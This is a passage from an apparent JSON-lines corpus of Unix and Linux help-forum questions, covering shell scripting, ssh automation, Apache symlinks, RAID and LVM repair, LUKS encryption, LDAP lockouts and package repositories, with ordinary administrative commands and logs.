"title": "Reading virtual memory", "text": "Is it possible to read virtual memory even if `/dev/kmem` is not available? I know that I can recompile kernel to allow this file, but that's not the solution I'm looking for. Is there some tricky way I can read it sequentially e.g. from LKM? Are there some system calls which will give me direct access to virtual memory?"} {"_id": "32873", "title": "Running a full foreach command", "text": "I'm trying to run a foreach loop within just 1 line of code instead of typing each indivdual command like below; Set n=0 ; foreach txt ( *_*.txt) foreach? sed \u201cs/_/-/g\u201d $txt foreach? @ n ++ foreach? End echo You changed $n files Is there any way to run all these commands all in one line instead of of the way its done above? I'm using the tcsh shell, but am struggling to find any documentation on how foreach can work within the shell."} {"_id": "55010", "title": "how to have root partition LVM for RHEL 5.8 64 bit on AWS EC2", "text": "I am new to this and I have to create a RHEL 5.8 Amazon Machine Image (AMI) in which the root partition should be a logical volume. I know how to create a data partition as a logical volume but am not able to find how to create the root partition as a LVM. Please guide in this respect."} {"_id": "93748", "title": "Why is the AESni flag missing for my i5 CPU", "text": "My CPU is reported by Intel to support the AES-NI native instructions. http://ark.intel.com/products/65707 However, `/proc/cpuinfo` does not list the `aes` flag (which is what I guess is preventing me from installing the `aesni-intel` kernel module -- my ultimate goal is to have `dm-crypt` use the benefits of HW acceleration). How can this be? If the CPU allegedly has the feature, what is preventing it from being recognized by the OS? (I already installed Arch's `intel-ucode` to have the newest microcode on the CPU.) `cpuinfo` output (shortened): vendor_id : GenuineIntel cpu family : 6 model : 58 model name : Intel(R) Core(TM) i5-3317U CPU @ 1.70GHz stepping : 9 microcode : 0x19 cpu MHz : 1445.000 cache size : 3072 KB siblings : 4 cpu cores : 2 cpuid level : 13 flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx f16c rdrand lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms"} {"_id": "93749", "title": "hanging ssh processes launched from a script", "text": "i am creating a few vms through a script. as a part of it, i am changing the names of the vms using ssh. for some reason when i run the below command for three vms it works and for the magic number when creating seven vms, the ssh hangs. can someone please explain the behavior? part of the script. this script runs concurrently for specified X vms. ... ssh-keygen -f ~/.ssh/known_hosts -R $IP ssh-keyscan $IP >> ~/.ssh/known_hosts SSH=\"ssh -i $SSH_KEY -o PasswordAuthentication=no\" echo \"hostname $hostname && echo HOSTNAME=$hostname >> /etc/sysconfig/network && echo 127.0.0.1 $hostname >> /etc/hosts \" | ssh -i $SSH_KEY -o PasswordAuthentication=no root@IP ... non-ending ssh processes rag 2867 2808 0 01:05 pts/5 T 00:00:00 ssh -i ssh_key -o PasswordAuthentication=no root@vm4 rag 2869 2812 0 01:05 pts/5 T 00:00:00 ssh -i ssh_key -o PasswordAuthentication=no root@vm7 rag 2872 2818 0 01:05 pts/5 T 00:00:00 ssh -i ssh_key -o PasswordAuthentication=no root@vm1 rag 2875 2811 0 01:05 pts/5 T 00:00:00 ssh -i ssh_key -o PasswordAuthentication=no root@vm6 rag 2879 2814 0 01:05 pts/5 T 00:00:00 ssh -i ssh_key -o PasswordAuthentication=no root@vm5 rag 2881 2813 0 01:05 pts/5 T 00:00:00 ssh -i ssh_key -o PasswordAuthentication=no root@vm3 rag 2884 2807 0 01:05 pts/5 T 00:00:00 ssh -i ssh_key -o PasswordAuthentication=no root@vm2 i got strace on one of the running process. ... --- SIGTTOU (Stopped (tty output)) @ 0 (0) --- rt_sigreturn(0x16) = -1 EINTR (Interrupted system call) rt_sigaction(SIGALRM, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGHUP, {SIG_IGN, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGPIPE, {SIG_IGN, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGTERM, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGTSTP, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGTTIN, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 rt_sigaction(SIGTTOU, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, NULL, 8) = 0 close(4) = 0 kill(2867, SIGTTOU) = 0 --- SIGTTOU (Stopped (tty output)) @ 0 (0) --- --- SIGTTOU (Stopped (tty output)) @ 0 (0) --- open(\"/dev/tty\", O_RDWR) = 4 rt_sigaction(SIGALRM, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGHUP, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_IGN, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGINT, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGPIPE, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_IGN, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGQUIT, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGTERM, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGTSTP, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGTTIN, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 rt_sigaction(SIGTTOU, {0x7fd26e1ef540, [], SA_RESTORER, 0x7fd26cd9d4a0}, {SIG_DFL, [], SA_RESTORER, 0x7fd26cd9d4a0}, 8) = 0 ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(4, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon echo ...}) = ? ERESTARTSYS (To be restarted) ..."} {"_id": "93746", "title": "Launching an application with an user environment", "text": "If I launch `eclipse` from the command line, the application is aware of the environment variables of the user (e.g. PYTHONPATH) and sets up the interpreter accordingly with `Auto Config`. This is not the case if I launch an application with a GUI icon or an application launcher. If my application launcher supports scripting, is there a way for me to specify which user's environment to use?"} {"_id": "55019", "title": "Make ls distinguish scripts from binaries in output", "text": "Is it possible to make `ls` distinguish executable scripts from actual compiled binaries? The permissions are most often the same (`+x`), and with `ls -F` you get an asterisk suffix (`*`) for both, so it's hard to tell them apart. I have a script to setup the colors of `ls`, but it relies on the file being executable or not, so they show up the same: BG='01;32' # green EX=\"ex=$BG\" # file with execute permission I don't want to depend on the extension as so many of these files don't have it. I want this so when I see some bizarre error message and think, \"What code caused that?\", I know whether or not it's safe to `cat` the file. If there is no standard solution, what about parsing the output of `file`, in one common function, and inserting some distinctive mark? Or would that be much too slow for `ls`?"} {"_id": "93740", "title": "How to update Broadcom driver in Arch Linux?", "text": "I have been having issues with my broadcom wireless driver, and from what I have seen, most people online say I need to update the driver. How do I update the driver? Most tutorials use `apt-get` but that does me no good as I am on Arch. What command do I need to run in the terminal to update or reinstall the wireless driver or any driver for that matter?"} {"_id": "144287", "title": "How do you set up a \"compiling parser\"-like function to help with editing plain scripts in elvis?", "text": "I'm using `elvis` to edit files etc. in a context where limiting the keystrokes makes a difference1. I don't know all the implications of its differences from `vim` and I'm actually inexperienced with both. I know elvis was _the pioneering vi clone, widely admired in the 1990s for its conciseness, and many features_. A feature I really find useful in both editors is the compiling options with the `make` command. But there is no such feature for scripts that I know of. Arguably scripts are smaller files and don't usually involve the same type of toolchain as compiling. Nevertheless, I ended up setting an alias (`ck`)in my `.elvisrc` file: source $HOME/.exrc :display syntax :set number alias ck { ! rm tempi ! (bash \"%\" >/dev/null) 2>&1 | sed -n 's/.*line \\([[:digit:]]*\\).*/\\1/p' >tempi ! elvis \"%\" +\"$(cat tempi | head -n 1)\" } This removes a _tempi_ named file; executes the loaded script in `bash`; searches for lines in the _stderr_ output containing the word _line_ followed by a space and some digits, and prints the number only; writes the number(s) to file; then we finally load our script again in another instance of `elvis` and go(`+`) to the first line # we pick up from the _tempi_ file. It is not very elegant and requires the following workflow: 1. Open the script and run `:ck` 2. Another instance of `elvis` opens with the cursor on the line from the first error2 3. Edit and save/quit `:wq`, then press `enter` to go back to first instance of `elvis` 4. Repeat until there are no more errors, then **don't** save the top file, exit elvis `:q!`, then reload our - now corrected - file using _command history_. Is there a better way to do something like this with `elvis` i.e. but without the many instances etc.? * * * 1. A tablet with no external keyboard. 2. If there is no error the cursor goes to end of the file."} {"_id": "144285", "title": "Bridge-utils installed on ubuntu 13.04 but unable to start the service", "text": "I upgraded my laptop Ubuntu 12.04 to 13.04. Before upgraded to Ubuntu 13.04, I installed qemu-kvm, bridge-utils, libvirt-bin & ubuntu-vm-builder. There its worked properly, After upgraded to Ubuntu 13.04, bridge utils not working. whenever I start the network service my system is hanged, then I restarted the my system. Unable to connect the Bridge networks."} {"_id": "137110", "title": "Comparison of decimal numbers in bash", "text": "My search this morning was about how could I compare two decimal numbers in bash, and I came to this answser: How to compare to floating point number in a shell script. This one, however, doesn't include this answer here: $ [[ ((3.56 < 2.90)) ]]; echo $? 1 $ [[ ((3.56 < 4.90)) ]]; echo $? 0 Considering that answer has been downvoted, and it looks some kind of unusual bashism, is this arithmetic evaluation trustworthy for accuracy?"} {"_id": "119345", "title": "Source code of the screens of debian-installer", "text": "Where do I can find the source code of the screens of the installation process of Debian? I've tried: _apt-get source debian-installer_ But in this package I do not see the source code. To be more specific I'm looking for the source code of this screen: ![enter image description here](http://i.stack.imgur.com/OmLIx.png)"} {"_id": "100838", "title": "Configuring bridge network in kvm (debian wheezy 7.2)", "text": "I am desperately trying to run untangle 10 as a guest in kvm. My host system is debian 7.2 My problem is that I am unable to configure bridges/(virtual)NICS which are successfully identified by untangle. I would like to have two NICS in untangle. One for the internet connection and the other one for the internal network. I already read several tutorials and how-to's and as far as I understood I have to configure network bridges. I tried to configure them in /etc/network/interfaces auto lo iface lo inet loopback iface eth0 inet manual auto br0 iface br0 inet dhcp bridge_ports eth0 I also tried to configure them via virt-manager and I also tried to use macvtap. In all three cases I was not able to establish a connection via untangle. Is there anything I am missing/doing wrong?"} {"_id": "110427", "title": "Downloading files in Skype and Firefox stops Audacious under Gnome", "text": "Strangely, when someone sends me a file on Skype and I click to open it, my music player Audacious stops playing and the playlist gets messed up (some random mp3s appear inside) and the file on skype doesn't get opened. The same happens when I download a file in Firefox. How can I fix this? I use Arch Linux 3.12.7-2-ARCH #1 SMP PREEMPT x86_64 GNU/Linux with GNOME Shell 3.10.2.1, audacious 3.4.3 and Skype 4.2.0.11."} {"_id": "107828", "title": "How is /etc/fstab accessed before root is mounted?", "text": "I was making some changes to `/etc/fstab`, when this chicken and egg question occurred to me - if `/etc/fstab` contains the instructions for mounting the file systems, including the root partition, then how does the OS read that file in the first place?"} {"_id": "145157", "title": "How to disconnect a server from LDAP", "text": "I have a Fedora server configured for LDAP. However, the LDAP server is gone, and now I'm unable to SSH into it. I've rebooted the server into single-user mode, brought up eth0 and started sshd, but when I try and ssh into it, the connection times out and the server reports \"nss_ldap: could not search LDAP server server is unavailable\". How do I completely purge LDAP from the system and disconnect it from any external LDAP dependency? I've ran `yum remove openldap-servers nss-pam-ldapd` and deleted common ldap conf scripts, but still sshd blocks all connections because it can't validate them against a non-existent LDAP server."} {"_id": "145150", "title": "Verify the length of a variable", "text": "I've to verify the length of variable read (my script limit to five the characters inserted), I think about something like this: #!/bin/bash read string check=${#string} echo $check if [ $check -ge 5 ]; then echo \"error\" ; exit else echo \"done\" fi is there a more \"elegant\" solution?"} {"_id": "35475", "title": "Free Matlab equivalent for Linux", "text": "My collaborators are using Matlab to do some simulations. Is there an open source alternative I could use on Linux to run these scripts? It would need to be fairly closely compatible with the (1) matlab language (2) the *.fig files - saved plots."} {"_id": "35476", "title": "how to specify the forwarding port when using multiple tsocks services?", "text": "According to the answer of this question, I have my `/etc/tsocks.conf` containing these lines: path { server = localhost server_port = 1081 reaches = /32 } path { server = localhost server_port = 1082 reaches = /32 } and I have run these two commands: ssh -fND :1081 server-a ssh -fND :1082 server-b Now I want to use `tsocks` to do a wget of a page first using the socks' service listening to 1081 port and then using the other one listening to 1082 port. If I had only one service I know that I can do that through this command: tsocks wget http://www.google.com Now that I have more than one `tsocks` services how can I do that? Can I provide for example the forwarding port through an option? I can't find something in the man pages of `tsocks`. I want something like that: tsocks --forwarding_port=1081 wget http://www.google.com tsocks --forwarding_port=1082 wget http://www.google.com"} {"_id": "145153", "title": "CD disk not detected by Fedora on my Laptop", "text": "I rarely use cd's on my laptop, but I recall having the same problem a few months ago. When I put a cd in my DVD/CD drive on my laptop nothing happens. It kicked in last time without me doing anything but I don't know what's wrong. I need to burn a cd with k3b but it gives the error \"no optical device found\". My system is Fedora 20 x86_64 KDE. Problem: CD's don't get mounted, when inserted in the drive nothing happens. What can I do to resolve this problem? EDIT: I've tried to mount it: ]$ sudo mount /dev/sr0 /media/cdrom/ mount: no medium found on /dev/sr0 Here is fstab: # # /etc/fstab # Created by anaconda on Tue Apr 29 18:45:40 2014 # # Accessible filesystems, by reference, are maintained under '/dev/disk' # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info # /dev/mapper/luks-b7af1bce-82c4-4921-aac1-bce701e30256 / ext4 defaults,x-systemd.device-timeout=0 1 1 UUID=6866881b-250b-4fc4-a7f1-39c28ae3ed44 /boot ext4 defaults 1 2 UUID=34AC-8847 /boot/efi vfat umask=0077,shortname=winnt 0 0 /dev/mapper/fedora_hostname-home /home ext4 defaults,x-systemd.device-timeout=0 1 2 /dev/mapper/fedora_hostname-swap swap swap defaults,x-systemd.device-timeout=0 0 0 EDIT: After few hours just sitting in the drive, it kicked in and showed up in peripherals."} {"_id": "100830", "title": "Changing Samba/LDAP password with passwd", "text": "We've installed CentOS Directory Server (389 DS) and have Samba using it as a backend. This works great except that when enabling password syncing in the `smb.conf` it is only synced one way. I could sync the ldap/samba password when using `smbpasswd -a` but not `passwd`. To fix this I added a line to my PAM system-auth settings to update the smb password file when changing my password. Again this works, but I'm getting the following error. Changing password for user testuser1. Enter login(LDAP) password: New UNIX password: Retype new UNIX password: LDAP password information update failed: Invalid credentials passwd: Authentication failure This error isn't correct because both the LDAP and Samba passwords change successfully. Does any one have a clue why I'm getting the error at all? The line I added to PAM is in bold: `password requisite pam_cracklib.so try_first_pass retry=3` **`password optional pam_smbpass.so use_authtok use_first_pass`** `password sufficient pam_unix.so md5 shadow nullok try_first_pass use_authtok` My `smb.conf` file has the following: [global] workgroup = MyGroup security = user passdb backend = ldapsam:ldaps://192.168.124.89/ ldap admin dn = cn=Directory Manager ldap suffix = dc=example,dc=com ldap user suffix = ou=People ldap group suffix = ou=Groups ldap passwd sync = yes ldap delete dn = no wins support = yes As I stated previously, everything is working as it should. I just don't want users freaking out when they see that nasty error message and I want it to go away."} {"_id": "100831", "title": "apt-get update won't update - undo /apt-add-repository", "text": "When I run `apt-get update`, this happens: Hit http://dl.google.com stable Release.gpg Hit http://dl.google.com stable Release Hit http://security.debian.org wheezy/updates Release.gpg Hit http://packages.crunchbang.org waldorf Release.gpg Hit http://security.debian.org wheezy/updates Release Ign http://ppa.launchpad.net wheezy Release.gpg Hit http://packages.crunchbang.org waldorf Release Hit http://dl.google.com stable/main i386 Packages Ign http://ppa.launchpad.net wheezy Release Hit http://security.debian.org wheezy/updates/main i386 Packages Hit http://security.debian.org wheezy/updates/main Translation-en Hit http://packages.crunchbang.org waldorf/main i386 Packages Hit http://http.debian.net wheezy Release.gpg Ign http://dl.google.com stable/main Translation-en_US Ign http://dl.google.com stable/main Translation-en Hit http://http.debian.net wheezy Release Hit http://http.debian.net wheezy/main i386 Packages Hit http://http.debian.net wheezy/contrib i386 Packages Ign http://packages.crunchbang.org waldorf/main Translation-en_US Hit http://http.debian.net wheezy/non-free i386 Packages Ign http://packages.crunchbang.org waldorf/main Translation-en Hit http://http.debian.net wheezy/contrib Translation-en Hit http://http.debian.net wheezy/main Translation-en Hit http://http.debian.net wheezy/non-free Translation-en Err http://ppa.launchpad.net wheezy/main Sources 404 Not Found Err http://ppa.launchpad.net wheezy/main i386 Packages 404 Not Found Ign http://ppa.launchpad.net wheezy/main Translation-en_US Ign http://ppa.launchpad.net wheezy/main Translation-en W: Failed to fetch http://ppa.launchpad.net/glasen/intel-driver/ubuntu/dists/wheezy/main/source/Sources 404 Not Found W: Failed to fetch http://ppa.launchpad.net/glasen/intel-driver/ubuntu/dists/wheezy/main/binary-i386/Packages 404 Not Found E: Some index files failed to download. They have been ignored, or old ones used instead. This has been caused by running `apt-add-repository ppa:glasen/intel-driver`. How can I undo what has happened from the previous command so that `apt-get update` works properly? Note: This is on a Dell Dimension 3000"} {"_id": "100835", "title": "Creating bash app for OpenWrt", "text": "I would like to know how to create a script in bash for OpenWrt, but having it installed like an application and with the possibility to include arguments/options when calling the app. As an example: cowsay HelloWorld Would return ____________ <> HelloWorld <> ------------ \\ ^__^ \\ (oo)\\_______ (__)\\ )\\/\\ ||----w | || || I need to call the script from a SSH, and execute it given an id and a state for that id."} {"_id": "100837", "title": "Incrontab doesn't detect modifications on a s3fs mount", "text": "This is my `incrontab` line: /srv/www IN_MODIFY,IN_ATTRIB,IN_CREATE,IN_DELETE,IN_CLOSE_WRITE,IN_MOVE rsync --quiet --recursive --links --hard-links --perms --acls --xattrs --owner --group --delete --force /var/www_s3/ /var/www `/var/www_s3/` is an s3fs mount. However, it only gets kicked off when a file is modified manually; nothing happens when a file is changed/added on S3. Is there a way to get incrontab to detect these changes?"} {"_id": "74695", "title": "Where do I set FollowSymLinks?", "text": "I have just set up an Apache 2.2 server on a new Linux Mint installation. I am recreating a previous set up I had on an old Ubuntu machine. On my previous computer, I had to enable `FollowSymLinks` in `httpd.conf`, because I store my web site HTML files in my home directory, and link to them from a symbolic link in `/var/www`. On my new server, I can't find any `httpd.conf` anywhere, so I can't seem to set the option to follow symlinks. As a result, I'm getting a `403 Forbidden: You don't have permission to access / on this server` error. Also, in my error log, it says: [Sun May 05 02:12:17 2013] [error] [client 127.0.0.1] Symbolic link not allowed or link target not accessible: /var/www/Websites Has something changed in how one allows symlinks? Or am I wrong about the setting being in `httpd.conf`? In any case, how do I get my new Apache to follow symlinks? * * * **Update:** Based on an answer below, I checked in the files `/etc/apache2/sites-enabled/000-default` and `/etc/apache2/sites- available/default`, and they both have the `FollowSymLinks` option. Is there some other reason I might be getting the error mentioned above? DocumentRoot /var/www Options FollowSymLinks AllowOverride None Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all "} {"_id": "74694", "title": "cleaning /dev/md0 filesystem ( raid)", "text": "I have a CentOS server using raid. The `/proc/partitions` contains: major minor #blocks name 8 0 976762584 sda 8 1 104391 sda1 8 2 921600855 sda2 8 3 55054755 sda3 8 16 976762584 sdb 8 17 921600823 sdb1 8 18 55159177 sdb2 8 32 976762584 sdc 8 33 921600823 sdc1 8 34 55159177 sdc2 8 48 976762584 sdd 8 49 921600823 sdd1 8 50 55159177 sdd2 8 64 976762584 sde 8 65 921600823 sde1 8 66 55159177 sde2 253 0 270303232 dm-0 253 1 5341184 dm-1 9 0 4608002816 md0 `/etc/fstabs` contains: /dev/VolGroup00/LogVol00 / ext3 defaults,usrquota,grpquota 1 1 /dev/md0 /home ext3 defaults,usrquota,grpquota 1 2 LABEL=/boot /boot ext3 defaults 1 2 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 /dev/VolGroup00/LogVol01 swap swap defaults 0 0 `mdadm --detail /dev/md0` produces: /dev/md0: Version : 0.90 Creation Time : Tue Feb 28 14:00:14 2012 Raid Level : raid0 Array Size : 4608002816 (4394.53 GiB 4718.59 GB) Raid Devices : 5 Total Devices : 5 Preferred Minor : 0 Persistence : Superblock is persistent Update Time : Tue Feb 28 14:00:14 2012 State : clean Active Devices : 5 Working Devices : 5 Failed Devices : 0 Spare Devices : 0 Chunk Size : 256K UUID : a09e9fd0:62b06654:b224f2d2:0e34ad8f Events : 0.1 Number Major Minor RaidDevice State 0 8 2 0 active sync /dev/sda2 1 8 17 1 active sync /dev/sdb1 2 8 33 2 active sync /dev/sdc1 3 8 49 3 active sync /dev/sdd1 4 8 65 4 active sync /dev/sde1 `/etc/mdadm.conf` contains: # mdadm.conf written out by anaconda DEVICE partitions MAILADDR root ARRAY /dev/md0 super-minor=0 #ARRAY /dev/md0 level=raid0 num-devices=5 UUID=a09e9fd0:62b06654:b224f2d2:0e34ad8f From what I can see the hard drives OK. Yet I have run `fsck -yfC /dev/md0` and it does: Pass 1: Checking inodes, blocks and sizes Running additional passes to resolve blocks claimed by more than one inode .... Pass 1B: Rescanning for multiply-claimed blocks. When I mount the device `mount /dev/md0` it mounts. As soon as any activity tries to write to the `/dev/md0` or directory `/home` it says the files system is not clean and mounts it is read only mode. Then the system stops working."} {"_id": "74692", "title": "What's the easiest way to decrypt a disk partition?", "text": "I made a mistake of encrypting the entire LVM physical volume (contains both home, root, and swap) when installing a CentOS 6.4 (2.6.32-358.6.1.el6.x86_64) box. I soon came to realize that moving files takes a horrendous amount of time due to `kcryptd` running at 90% of CPU and that encryption was not really necessary as it's just a home server containing no crucial data. However, I already configured it and installed loads of packages, tuned it as far as power management goes, and set up all the services. Is there any way to remove the encryption without having to re-install the whole thing and go through the configuration all over again? I'd love an option that would take less than 30 mins but I'm not sure one exists. Also, if anyone has any recommendations on how to make `kcryptd` more easy to use, let me know. **Edit 1** ~]# fdisk -l /dev/sda Disk /dev/sda: 160.0 GB, 160041885696 bytes 255 heads, 63 sectors/track, 19457 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000078c9 Device Boot Start End Blocks Id System /dev/sda1 * 1 64 512000 83 Linux Partition 1 does not end on cylinder boundary. /dev/sda2 64 19458 155777024 83 Linux ~]# dmsetup ls vg_centos-lv_home (253:3) vg_centos-lv_swap (253:2) vg_centos-lv_root (253:1) luks-2ffcc00c-6d6e-401c-a32c-9c82995ad372 (253:0) ~]# pvdisplay --- Physical volume --- PV Name /dev/mapper/luks-2ffcc00c-6d6e-401c-a32c-9c82995ad372 VG Name vg_centos PV Size 148.56 GiB / not usable 4.00 MiB Allocatable yes (but full) PE Size 4.00 MiB Total PE 38030 Free PE 0 Allocated PE 38030 PV UUID euUB66-TP3M-ffKp-WhF5-vKI5-obqK-0qKoyZ **Edit 2** ~]# df -h / /home /boot Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_centos-lv_root 50G 2.3G 45G 5% / /dev/mapper/vg_centos-lv_home 94G 1.3G 88G 2% /home /dev/sda1 485M 53M 408M 12% /boot"} {"_id": "81317", "title": "Bad known_hosts file when connecting to loadbalanced domain", "text": "FOO.COM has two A records. 1.1.1.1 and 2.2.2.2. If I connect to ssh root@FOO.com then it sometimes can connect, sometimes it writes that there is a key mismatch, update known_hosts file. So I know that what is causing this (the two IP address behind the domain..).. but how can I resolve it? And: -o StrictHostKeyChecking=no no, this shouldn't be the solution :D"} {"_id": "81314", "title": "Can the GNU Project be seen as a distribution of Linux?", "text": "> _When Linus Torvalds was asked in the documentary Revolution OS whether the > name \"GNU/Linux\" was justified, he replied:_ Well, I think it's justified, > but it's justified if you actually **make a GNU distribution of Linux** ... > the same way that I think that \"Red Hat Linux\" is fine, or \"SuSE Linux\" or > \"Debian Linux\", because if you actually make your own distribution of Linux, > you get to name the thing, but calling Linux in general \"GNU Linux\" I think > is just ridiculous. I don't understand what Linus Torvalds meant here. Can we really make **GNU** a distribution of **Linux**?"} {"_id": "74699", "title": "Get network information through Ubuntu Terminal", "text": "Is there a command where, when entered outputs information such as: * If the network connection is wired or wireless * if it is a wireless network, the name of the wireless network * How strong the signal is"} {"_id": "110966", "title": "Which packages from slackware's X category do I need for a minimal X installation?", "text": "I would like to set up Slackware 14.1 with a minimal package count. I already know which packages from A, AP, and N that I need for a minimal install with no X. But I have no idea which packages from the X category that I need and which ones are just unnecessary. Please don't tell me that I should just install everything. I've done that and it works but I end up with hundreds of packages I don't need."} {"_id": "23808", "title": "VirtualBox disk performance?", "text": "This option was newly added to latest version of VBox , googled a lot , seems no much information was revealed , could anyone please help me pick one disk format ? ![vbox-disk-format](http://i.stack.imgur.com/wGuyW.png) Which one owns better performance here ?"} {"_id": "23809", "title": "Reduce LVM /tmp size to 10G and add everything to / root dir", "text": "I want to reduce the partition mounted at `/tmp` to 10GB and add all unused space to the `/` partition. If I `umount -l /tmp` and run `fsck.ext3 -f /dev/privg/lv_tmp`, I get this: fsck.ext3: Device or resource busy while trying to open /dev/privg/lv_tmp Filesystem mounted or opened exclusively by another program? What are the correct steps to do LVM repartitioning? $ df -hl Filesystem Size Used Avail Use% Mounted on /dev/mapper/privg-lv_root 12G 4.2G 6.9G 38% / /dev/mapper/privg-lv_tmp 29G 3.2G 24G 12% /tmp /dev/mapper/privg-lv_var 3.9G 1.5G 2.3G 40% /var /dev/sda1 494M 40M 429M 9% /boot tmpfs 16G 0 16G 0% /dev/shm"} {"_id": "140506", "title": "force ssh to change dir after login based on config", "text": "Is there any way to force `ssh` to change it's working dir in `~/.ssh/config` or by using other configuration files? I have a lot of servers with different environments. Each environment is installed in a specific directory and it would be really helpful to be in this specific directory right after login. Unfortunately, sometimes several environments can be hosted on the same server. That's why I need to make it config based, as currently I have a separate entry in config for each env. Example: Host env1 User me Port 2222 # here directory should be /srv/project/env1 HostName 172.16.16.2 Host env2_test User me Port 2222 # here directory should be /srv/project/env2_test HostName 172.16.16.2 Host env54 User me Port 2225 # here directory should be /srv/project/env54 HostName 172.16.16.3 I can do it with `ssh -t env54 'cd /srv/project/env54 ; bash'`, but it's annoying to retype it each time or even put it in an `alias`. I believe the *nix way is to handle it via configuration."} {"_id": "140500", "title": "Printing lines with similar text together", "text": "I am currently working on analyzing the performance of an application. I've starting by looking at the logs generated by our application and identifying the business logic tasks that are taking more than acceptable time to execute. A snippet from the log file looks something like : 2014-07-02 18:03:20,269 INFO [ROOT] - Task1. xmlRecord Id :35165 processed 2014-07-02 18:05:20,269 INFO [ROOT] - Task1. xmlRecord Id :35162 processed 2014-07-02 18:15:20,269 INFO [ROOT] - Task1. xmlRecord Id :35164 processed 2014-07-02 18:20:20,269 INFO [ROOT] - Task2. xmlRecord Id :35165 processed My requirement is to find the total amount of time spent on executing each task. For instance, the amount of time spent on Task2 for xmlRecord 35165 = End time for Task 2 for xmlRecord 35165 - End Time for Task 1 for xmlRecord 35165. For this reason, I want a way to group all the log statements that have the same xmlRecord Id to be grouped together as shown below : 2014-07-02 18:03:20,269 INFO [ROOT] - Task1. xmlRecord Id :35165 processed 2014-07-02 18:20:20,269 INFO [ROOT] - Task2. xmlRecord Id :35165 processed 2014-07-02 18:05:20,269 INFO [ROOT] - Task1. xmlRecord Id :35162 processed 2014-07-02 18:15:20,269 INFO [ROOT] - Task1. xmlRecord Id :35164 processed If I can group all the log statements as shown above, I will quickly be able to see that it took Task2 17 minutes to process xmlRecord 35165. Note that the logs that I have shown here are not the exact logs that my application prints but just a sample. I want to be able to group all log statements such that logs for a particular XML id are always one after another. I'm a bit rusty with the shell and would appreciate it if someone can point me to a one liner or a script that already does this so I don't waste time reinventing the wheel."} {"_id": "140501", "title": "Combining brace expansion and output redirection", "text": "Often, I use parameter expansion on the command-line, such as cp a.{ext1,ext2} which is expands to cp a.ext1 a.ext2 However, in many cases I do not use `cp`, but another tool, let's call it `cat`, and I would do some output redirection, like cat a.ext1 > a.ext2 In my case `a` can vary, or be quite long, so I would like to be able to use some sort of brace expansion, that at least needs only one occurrence of `a` in the one-liner. How can I obtain that? I am specifically using $ bash --version GNU bash, version 3.2.51(1) but answers using other shells are also appreciated."} {"_id": "140502", "title": "sh + how to use array in sh script in order to print all values in array", "text": "I want to use **arrays** in my **sh** script. My target is to create an array with the values `a b c` and print all values in the array. I succeeded to print each array, but I failed to print all values in the array. Following example: **Set each value in arr** : n=1 eval arr$n=a n=2 eval arr$n=b n=3 eval arr$n=c **Print each value from arr** : n=1 eval echo 